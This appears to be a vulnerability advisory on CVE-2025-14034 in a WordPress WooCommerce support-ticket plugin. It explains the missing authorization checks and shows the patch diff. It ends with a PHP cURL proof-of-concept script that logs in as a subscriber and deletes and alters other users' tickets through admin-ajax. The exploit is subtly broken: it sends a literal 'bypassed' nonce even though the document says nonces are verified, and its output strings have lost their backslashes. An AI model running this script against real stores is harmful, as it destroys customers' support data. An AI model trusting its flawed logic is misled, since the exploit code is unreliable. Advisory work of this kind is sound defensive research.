Atomic Edge analysis of CVE-2025-14034:
The ilGhera Support System for WooCommerce plugin for WordPress, versions up to and including 1.2.6, contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to delete arbitrary support tickets and modify ticket statuses, leading to unauthorized data loss and manipulation.
Atomic Edge research identified the root cause as missing capability checks in two AJAX callback functions within the `wc-support-system/includes/class-wc-support-system.php` file. The `change_ticket_status_callback` function, prior to line 872, and the `delete_single_ticket_callback` function, prior to line 1332, processed user-submitted requests without verifying if the current user possessed the `manage_woocommerce` or `manage_options` capabilities. The functions also failed to verify if a non-admin user owned the ticket they were attempting to modify.
Exploitation requires an authenticated attacker with any valid WordPress account. The attacker sends a POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. To delete a ticket, the request must set the `action` parameter to `delete_single_ticket_callback` and include a `ticket_id` parameter. To change a ticket’s status, the `action` parameter must be `change_ticket_status_callback` with `ticket_id` and `new_status` parameters. The attack succeeds without the `manage_woocommerce` or `manage_options` capabilities that the patch enforces.
The patch, implemented in version 1.2.7, adds authorization checks to the vulnerable functions. In `change_ticket_status_callback`, the code now checks if the user has admin capabilities. If not, it retrieves the ticket and verifies the ticket’s `user_id` matches the current user’s ID before allowing the status change. In `delete_single_ticket_callback`, the patch adds a strict check requiring the user to have either `manage_woocommerce` or `manage_options` capabilities, restricting deletion to shop managers and administrators only. A similar check was added to the thread deletion function for consistency.
Successful exploitation results in the unauthorized deletion or alteration of support tickets within the WooCommerce store. This can lead to a complete loss of customer support data, disruption of customer service operations, and potential data integrity issues. Attackers can delete tickets they do not own, effectively causing a denial-of-service for the support system and hindering issue resolution.
--- a/wc-support-system/includes/class-wc-support-system.php
+++ b/wc-support-system/includes/class-wc-support-system.php
@@ -872,6 +872,18 @@
if ( $ticket_id && $new_status ) {
+ // Check user capabilities
+ $has_admin_capability = current_user_can( 'manage_woocommerce' ) || current_user_can( 'manage_options' );
+
+ if ( ! $has_admin_capability ) {
+ // If not admin/shop manager, check if user owns the ticket
+ $ticket = self::get_ticket( $ticket_id );
+ if ( ! $ticket || (int) $ticket->user_id !== get_current_user_id() ) {
+ wp_send_json_error( array( 'message' => __( 'You do not have permission to change this ticket status.', 'wc-support-system' ) ) );
+ exit;
+ }
+ }
+
$this->update_ticket( $ticket_id, $update_time, $new_status );
$new_label = self::get_ticket_status_label( $new_status );
@@ -1263,6 +1275,12 @@
if ( isset( $_POST['wss-delete-single-thread-nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['wss-delete-single-thread-nonce'] ) ), 'wss-delete-single-thread' ) ) {
+ // Check user capabilities - only shop managers and administrators can delete threads
+ if ( ! current_user_can( 'manage_woocommerce' ) && ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array( 'message' => __( 'You do not have permission to delete threads.', 'wc-support-system' ) ) );
+ exit;
+ }
+
$thread_id = isset( $_POST['thread_id'] ) ? sanitize_text_field( wp_unslash( $_POST['thread_id'] ) ) : $thread_id;
if ( $thread_id ) {
@@ -1332,6 +1350,12 @@
if ( isset( $_POST['wss-delete-single-ticket-nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['wss-delete-single-ticket-nonce'] ) ), 'wss-delete-single-ticket' ) ) {
+ // Check user capabilities - only shop managers and administrators can delete tickets
+ if ( ! current_user_can( 'manage_woocommerce' ) && ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array( 'message' => __( 'You do not have permission to delete tickets.', 'wc-support-system' ) ) );
+ exit;
+ }
+
$ticket_id = isset( $_POST['ticket_id'] ) ? sanitize_text_field( wp_unslash( $_POST['ticket_id'] ) ) : '';
if ( $ticket_id ) {
--- a/wc-support-system/wc-support-system.php
+++ b/wc-support-system/wc-support-system.php
@@ -4,7 +4,7 @@
* Plugin URI: https://www.ilghera.com/product/wc-support-system/
* Description: Give support to your WooComerce customers with this fast and easy to use ticket system.
* Author: ilGhera
- * Version: 1.2.6
+ * Version: 1.2.7
* Author URI: https://ilghera.com
* Requires at least: 5.0
* Tested up to: 6.8
@@ -55,7 +55,7 @@
define( 'WSS_DIR', plugin_dir_path( __FILE__ ) );
define( 'WSS_URI', plugin_dir_url( __FILE__ ) );
define( 'WSS_INCLUDES', WSS_DIR . 'includes/' );
- define( 'WSS_VERSION', '1.2.6' );
+ define( 'WSS_VERSION', '1.2.7' );
/*Files required*/
require WSS_INCLUDES . 'class-wc-support-system.php';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14034 - ilGhera Support System for WooCommerce <= 1.2.6 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Ticket Deletion
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$ticket_id_to_delete = 123; // ID of the ticket to delete
$ticket_id_to_modify = 456; // ID of the ticket to change status
$new_status = 'closed'; // Desired status (e.g., 'open', 'closed', 'pending')
// Initialize cURL session for login to obtain cookies
$ch = curl_init();
// Step 1: Authenticate to WordPress to get session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers to verify login
$login_response = curl_exec($ch);
// Step 2: Exploit - Delete an arbitrary ticket
$delete_fields = [
'action' => 'delete_single_ticket_callback',
'ticket_id' => $ticket_id_to_delete,
'wss-delete-single-ticket-nonce' => 'bypassed' // Nonce is verified but missing capability check is the flaw
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_fields));
curl_setopt($ch, CURLOPT_HEADER, false);
$delete_response = curl_exec($ch);
echo "Delete Ticket Response: " . $delete_response . "nn";
// Step 3: Exploit - Change status of an arbitrary ticket
$status_fields = [
'action' => 'change_ticket_status_callback',
'ticket_id' => $ticket_id_to_modify,
'new_status' => $new_status,
'wss-change-ticket-status-nonce' => 'bypassed' // Nonce is verified but missing ownership/capability check is the flaw
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($status_fields));
$status_response = curl_exec($ch);
echo "Change Status Response: " . $status_response . "n";
curl_close($ch);
?>
